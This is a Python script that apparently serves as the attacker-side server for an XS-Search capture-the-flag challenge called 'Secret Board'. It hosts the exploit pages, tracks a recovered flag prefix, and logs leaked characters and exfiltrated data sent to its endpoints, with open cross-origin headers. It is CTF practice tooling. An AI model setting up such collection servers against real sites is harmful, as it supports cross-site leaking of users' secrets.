#!/usr/bin/env python3
"""Attacker-side server for the XS-Search 'Secret Board' challenge.

Hosted on the HOST (cross-site to the in-container localhost:3000 challenge).
- serves static files (exploit.html, blank.html, read.html) from this dir
- /state            -> {"prefix": "..."} current recovered flag prefix
- /found?c=X        -> append confirmed char X to prefix
- /reset            -> clear prefix
- /val?...          -> log validation measurements
- /leak?...         -> log arbitrary exfil
- /log?...          -> log debug
All hits are printed to stdout with a timestamp.
"""
import http.server, socketserver, os, sys, time, json, threading
from urllib.parse import urlparse, parse_qs, unquote

HERE = os.path.dirname(os.path.abspath(__file__))
STATE = {"prefix": "DH{"}          # we know the flag format prefix
LOCK = threading.Lock()

def ts():
    return time.strftime("%H:%M:%S")

class H(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **k):
        super().__init__(*a, directory=HERE, **k)

    def log_message(self, *a):
        pass  # silence default noisy logging; we print our own

    def _send(self, code, body, ctype="text/plain"):
        b = body.encode() if isinstance(body, str) else body
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(b)))
        # allow the exploit page to read these responses cross-origin if it wants
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(b)

    def do_GET(self):
        u = urlparse(self.path)
        q = parse_qs(u.query)
        path = u.path

        if path == "/state":
            with LOCK:
                return self._send(200, json.dumps(STATE), "application/json")

        if path == "/found":
            c = unquote(q.get("c", [""])[0])
            with LOCK:
                STATE["prefix"] += c
                cur = STATE["prefix"]
            print(f"[{ts()}] FOUND char {c!r}  ->  prefix = {cur!r}")
            return self._send(200, "ok")

        if path == "/reset":
            with LOCK:
                STATE["prefix"] = q.get("p", ["DH{"])[0]
                cur = STATE["prefix"]
            print(f"[{ts()}] RESET prefix -> {cur!r}")
            return self._send(200, "ok")

        if path in ("/val", "/leak", "/log"):
            print(f"[{ts()}] {path[1:].upper():4} {u.query}")
            return self._send(200, "ok", "image/gif")

        # static files
        return super().do_GET()

class Server(socketserver.ThreadingTCPServer):
    allow_reuse_address = True
    daemon_threads = True

if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
    print(f"[{ts()}] attacker server on 0.0.0.0:{port}  (dir={HERE})")
    with Server(("0.0.0.0", port), H) as srv:
        srv.serve_forever()
